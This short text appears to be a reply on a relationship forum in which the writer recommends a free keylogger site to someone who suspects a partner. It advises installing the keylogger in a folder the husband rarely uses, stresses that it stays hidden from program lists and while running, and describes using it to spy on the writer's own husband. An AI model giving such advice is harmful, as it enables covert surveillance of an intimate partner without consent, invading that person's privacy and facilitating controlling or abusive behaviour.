I'm sorry to hear you're feeling like I did. The free download is at www.mykeylogger.com. It's easy to use, and completely hidden...just make sure you pick a directory to install it to that he's not generally in. Other than that...it doesn't show up in the program files, and is completely hidden while running.
It is also password protected for you to use only. Even if my H found it...he wouldn't know my password to get in it.